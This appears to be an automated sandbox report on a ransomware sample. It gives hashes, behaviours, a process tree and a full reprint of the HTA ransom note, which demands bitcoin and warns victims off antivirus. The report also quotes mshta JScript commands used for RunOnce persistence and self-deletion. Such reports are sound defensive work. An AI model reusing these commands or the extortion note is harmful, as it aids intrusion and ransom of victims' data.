ee65e9d7a7bc9d17e894e0b775fc0bbfb35e72c65c3d768e34bfe059d521cc16

Resubmissions

21/01/2024, 14:52

240121-r8syqaeac7 10

21/01/2024, 14:51

240121-r8k8waeac5 10

01/01/2024, 13:55

240101-q776kscacp 10

Analysis

max time kernel
144s
max time network
147s
platform
windows10-2004_x64
resource
win10v2004-20231222-en
resource tags

arch:x64arch:x86image:win10v2004-20231222-enlocale:en-usos:windows10-2004-x64system
submitted
21/01/2024, 14:51

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

5474e75872eeb1e34cbe407c73409d4c65da7bd6aa9378b356bb3c12f316c506.exe
Size

263KB
MD5

111e7dd338f7a7db306c95e05797747f
SHA1

aff72034cbbc21693425306ad42b1bb182582743
SHA256

5474e75872eeb1e34cbe407c73409d4c65da7bd6aa9378b356bb3c12f316c506
SHA512

215ee93c5faf2af3a55cceed281b56aecb5990baf4ae508f02eb481c7c22081f05b73a2657279205ff5d4edfc63722ea1405a9e8cdf65939021c9f052ffb6fec
SSDEEP

6144:jeHgRe/IfHES0cVZrDjuNywKGOCWVoYkNMbU:jeHgM4HxZG1KGjWVoVO

Score

10^/10

ransomware upx

Malware Config

Extracted

Path

C:\Users\Admin\Downloads\How To Recover Encrypted Files.hta

Ransom Note

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <meta charset="windows-1251"> <title>HOW TO DECRYPT YOUR FILES</title> <HTA:APPLICATION ICON="mstsc.exe" SINGLEINSTANCE="yes"> <script language="JScript"> window.moveTo(50, 50); window.resizeTo(screen.width - 100, screen.height - 100); </script> <style type="text/css"> body { font: 15px Tahoma, sans-serif; margin: 10px; line-height: 25px; background-color: #C1AB8F; } .bold { font-weight: bold; } .xx { border: 1px dashed #000; background: #E3D5F1; } .mark { background: #D0D0E8; padding: 2px 5px; } .header { font-size: 30px; height: 50px; line-height: 50px; font-weight: bold; border-bottom: 10px solid #D0D0E8; } .info { background: #D0D0E8; border-left: 10px solid #00008B; } .alert { background: #FFE4E4; border-left: 10px solid #FF0000; } .private { border: 1px dashed #000; background: #FFFFEF; } .note { height: auto; padding-bottom: 1px; margin: 15px 0; } .note .title { font-weight: bold; text-indent: 10px; height: 30px; line-height: 30px; padding-top: 10px; } .note .mark { background: #A2A2B5; } .note ul { margin-top: 0; } .note pre { margin-left: 15px; line-height: 13px; font-size: 13px; } </style> </head> <body> <div class="header">Your files are encrypted!</div> <div class="note private"> <div class="title">Your personal ID</div> <pre>1844076870514668776017842474950903777489498959942675600105599036382933668932192452096024613009095464 2466261120189731141233611625088917518398365784292949078367758260874399019813965767660487497973562431 1994501546703461863903048620536106534330332281879100670985593577628161794849531336369770327089959624 8654651948069375249231167314192739643087394790642885291487518273250424637997277623008948902355332068 4936485638282548442459029556139653365486911459516546842820716085986466138609741427507826543462290869 3817754704488471451031186755988555995876373501960328654106866073389567211860966730072818710940281073 587981364267220425</pre> </div> <div class="bold"> <div align="left">All your important data has been encrypted.</div> </div> <div class="bold">To recover data you need decryptor.</div> <div> <h2 align="center">To get the decryptor you should:</h2> <h1 align="left">pay for decrypt:</h1> <div class="note xx"> <div align="left"> <h1>to send 1 bitcoin today (tomorrow 2 bitcoins) to bitcoin the address 1EQiMGLApzDdPYLWoDMyUo27q5ashMXdQ<br> </h1> </div> <div align="left"> <strong>Here are our recommendations:</strong> </div> <div align="left"> <ol> <li><strong>If you have no Bitcoin address register https://blockchain.info/wallet</strong></li> <li><strong>fill up your wallet some of the ways:</strong></li> <li><strong>Btcdirect.eu - Good service for Europe</strong></li> <li><strong>Bittylicious.com - Bitcoins through Visa / MC or through SEPA (��) transfer</strong></li> <li><strong>Localbitcoins.com - Here you can find people who want to sell Bitcoins directly (WU, in cash, SEPA, Paypal u.s.).</strong></li> <li><strong>Cex.io - buy bitcoins with Visa / Mastercard or Wire Transfer.</strong></li> <li><strong>Coincafe.com - Designed for quick and easy service. Payment methods: Western Union, Bank of America, cash by FedEx, Moneygram, as money transfer</strong></li> <li><strong>Bitstamp.net - well known and established Bitcoins seller</strong></li> <li><strong>Coinmama.com - Visa / Mastercard</strong></li> <li><strong>Btc-e.com - Bitcoins vendor (Visa / Mastercard, etc.)</strong></li> <li><strong>If you have not found any bitcoins in your region, try to find them here:</strong></li> <li><strong>Buybitcoinworldwide.com - International Bicoins Exchange Directory</strong></li> <li><strong>Bitcoin-net.com - Another directory of Bitcoins sellers</strong></li> <li><strong>Howtobuybitcoins.info - International Bicoins Exchange Directory</strong></li> <li><strong>Bittybot.co/eu - Directory for countries of the European Union</strong></li> <li><strong>write to Google how to buy Bitcoin in your country?</strong></li> </ol> </div> <div align="left"> <h1>mail support [email protected]<br> </h1> </div> <h1>After the payment: </h1> </div> <div><p>Send screenshot of payment to mail support <span class="mark">[email protected]</span>. In the letter include your personal ID (look at the beginning of this document).</p> </div> <div> <h1 align="center">After you will receive a decryptor and instructions</h1> </div> <div class="note alert"> <div class="title">Attention!</div> <ul><li>No Payment = No decryption</li> <li>You really get the decryptor after payment</li> <li>Do not attempt to remove the program or run the anti-virus tools</li> <li>Attempts to self-decrypting files will result in the loss of your data</li> <li>Decoders other users are not compatible with your data, because each user's unique encryption key</li> </ul> </div> </body> </html>

Emails

[email protected]<br>

class="mark">[email protected]</span>

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3803511929-1339359695-2191195476-1000\Control Panel\International\Geo\Nation	5474e75872eeb1e34cbe407c73409d4c65da7bd6aa9378b356bb3c12f316c506.exe

Executes dropped EXE 1 IoCs

pid	Process
3448	svchost.exe

UPX packed file 8 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral6/memory/1692-0-0x0000000000400000-0x0000000000478000-memory.dmp	upx
behavioral6/files/0x000600000001e5df-5.dat	upx
behavioral6/files/0x000600000001e5df-7.dat	upx
behavioral6/files/0x000600000001e5df-8.dat	upx
behavioral6/memory/1692-10-0x0000000000400000-0x0000000000478000-memory.dmp	upx
behavioral6/memory/3448-9-0x0000000000400000-0x0000000000478000-memory.dmp	upx
behavioral6/memory/3448-590-0x0000000000400000-0x0000000000478000-memory.dmp	upx
behavioral6/memory/3448-646-0x0000000000400000-0x0000000000478000-memory.dmp	upx

Drops desktop.ini file(s) 25 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\Videos\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Music\desktop.ini	svchost.exe
File opened for modification	C:\Users\Public\Documents\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Desktop\desktop.ini	svchost.exe
File opened for modification	C:\Users\Public\AccountPictures\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\3D Objects\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Documents\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Downloads\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Pictures\Saved Pictures\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Contacts\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Favorites\Links\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Links\desktop.ini	svchost.exe
File opened for modification	C:\Users\Public\Downloads\desktop.ini	svchost.exe
File opened for modification	C:\Users\Public\Pictures\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Saved Games\desktop.ini	svchost.exe
File opened for modification	C:\Users\Public\desktop.ini	svchost.exe
File opened for modification	C:\Users\Public\Libraries\desktop.ini	svchost.exe
File opened for modification	C:\Users\Public\Music\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\OneDrive\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Pictures\Camera Roll\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Pictures\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Searches\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Favorites\desktop.ini	svchost.exe
File opened for modification	C:\Users\Public\Desktop\desktop.ini	svchost.exe
File opened for modification	C:\Users\Public\Videos\desktop.ini	svchost.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
3080	3448	WerFault.exe	88

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 1692 wrote to memory of 3448	1692	5474e75872eeb1e34cbe407c73409d4c65da7bd6aa9378b356bb3c12f316c506.exe	88
PID 1692 wrote to memory of 3448	1692	5474e75872eeb1e34cbe407c73409d4c65da7bd6aa9378b356bb3c12f316c506.exe	88
PID 1692 wrote to memory of 3448	1692	5474e75872eeb1e34cbe407c73409d4c65da7bd6aa9378b356bb3c12f316c506.exe	88
PID 1692 wrote to memory of 2864	1692	5474e75872eeb1e34cbe407c73409d4c65da7bd6aa9378b356bb3c12f316c506.exe	89
PID 1692 wrote to memory of 2864	1692	5474e75872eeb1e34cbe407c73409d4c65da7bd6aa9378b356bb3c12f316c506.exe	89
PID 1692 wrote to memory of 2864	1692	5474e75872eeb1e34cbe407c73409d4c65da7bd6aa9378b356bb3c12f316c506.exe	89
PID 3448 wrote to memory of 640	3448	svchost.exe	90
PID 3448 wrote to memory of 640	3448	svchost.exe	90
PID 3448 wrote to memory of 640	3448	svchost.exe	90

C:\Users\Admin\AppData\Local\Temp\5474e75872eeb1e34cbe407c73409d4c65da7bd6aa9378b356bb3c12f316c506.exe
"C:\Users\Admin\AppData\Local\Temp\5474e75872eeb1e34cbe407c73409d4c65da7bd6aa9378b356bb3c12f316c506.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1692
- C:\Users\Admin\AppData\Roaming\svchost.exe
  "C:\Users\Admin\AppData\Roaming\svchost.exe"
  2⤵
  - Executes dropped EXE
  - Drops desktop.ini file(s)
  - Suspicious use of WriteProcessMemory
  PID:3448
- - C:\Windows\SysWOW64\mshta.exe
    mshta.exe "javascript:o=new ActiveXObject('WScript.Shell');setInterval(function(){try{o.RegWrite('HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\Scanner','C:\\Users\\Admin\\AppData\\Roaming\\svchost.exe');}catch(e){}},10);"
    3⤵
    PID:640
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3448 -s 736
    3⤵
    - Program crash
    PID:3080
- C:\Windows\SysWOW64\mshta.exe
  mshta.exe "javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('C:\\Users\\Admin\\AppData\\Local\\Temp\\5474E7~1.EXE');close()}catch(e){}},10);"
  2⤵
  PID:2864

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 424 -p 3448 -ip 3448
1⤵
PID:1492

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\3D Objects\i6fxiMoqmUpcRXMJBrd1Wut2+nhvj1liS5zdHX00z04mgjj8YYRPskmFWOgXu9f9.hnumkhotep@india.com.hnumkhotep

Filesize
5KB

MD5
ef5b5a4fa3e5b2ce779760a88ca144de

SHA1
4c21f98f2220b4052835e556226465206de175c8

SHA256
82319145ec420d9aceb77e3e550211f05f62b48158cc2df4aa93a42c9acdf03f

SHA512
92884343f40510783d6a0aa0d55bc6dc482503a5e69a8074683778f7694e91378e8af5f05a92c175ba4b82608c49cece016800a473c2e3422faed5ed842230ec

Download Submit
C:\Users\Admin\AppData\Roaming\svchost.exe

Filesize
263KB

MD5
111e7dd338f7a7db306c95e05797747f

SHA1
aff72034cbbc21693425306ad42b1bb182582743

SHA256
5474e75872eeb1e34cbe407c73409d4c65da7bd6aa9378b356bb3c12f316c506

SHA512
215ee93c5faf2af3a55cceed281b56aecb5990baf4ae508f02eb481c7c22081f05b73a2657279205ff5d4edfc63722ea1405a9e8cdf65939021c9f052ffb6fec

Download Submit
C:\Users\Admin\AppData\Roaming\svchost.exe

Filesize
212KB

MD5
4ea3600a6076c9f560fa71d57194d475

SHA1
8a2713b7088f84e952f3ed5ac3d131493decd19b

SHA256
893beb4bb245976d5d9205ed4a158ce28aa35c66fc4762bcceacec8b69234de7

SHA512
2915e5ea0f093394eff344c01a7d0156e58405aa4a890d2287264208c3942807e9ff318e10a445244c0414b4264fb40d14fdd780f542e09632848beee5b9fb99

Download Submit
C:\Users\Admin\AppData\Roaming\svchost.exe

Filesize
197KB

MD5
1d35ad5be1b7bac24bfc693c211a0d12

SHA1
464f96db424f185cc5be88843e2e45ee3370f62c

SHA256
4b1ee5f1eda9a2f814b32590e4bd502d159c9dd95bd5f581999a9472e286f1fa

SHA512
e4fc6a7b2a11c2f07601ad2aa21a9e091cb33c5c59f37aa55f39bdec32421187db6c050af10b8f21470491d54532884172352ba3487fab856de824634a4f0f75

Download Submit
C:\Users\Admin\Downloads\How To Recover Encrypted Files.hta

Filesize
5KB

MD5
519740d698fb8ac242e5f9d8fb94594b

SHA1
cf9be47b84ac3b3b6ad7073563e23504eb26a244

SHA256
f27477e57e0ae6635369e4d326d22ac62a2112af25d356e1a16f3a0058fc6e05

SHA512
3759eb3adb6f69a2b9960c782e38cc32bc69da3a287ff25a7f473d65ee8992e573eaffa56e09cc09d56c67b217f68a147f542db51afe26fcb80e8c53811889da

Download Submit
C:\cvtY+nDvPWVKqzUvf1xbOI04ojzHTl4pTvtJJd0G5X8.hnumkhotep@india.com.hnumkhotep

Filesize
81KB

MD5
c4efe810131936e6582f3c900b9a1bb1

SHA1
d283be5b1975544e9ddc45c75b660e98208d2514

SHA256
71c7b2cdac2cf98e29ccfbd9533f28527adab5beddfb60610725f1549fdc9405

SHA512
90f1474d0ec8823d4addab77d34d356e2a6d9107907add238e929416e7afa92617acb0ac4db85cef4044469e71d6a433fe040f7c1741ccd15ff760baf6123567

Download Submit
memory/1692-0-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/1692-10-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/3448-9-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/3448-590-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/3448-646-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download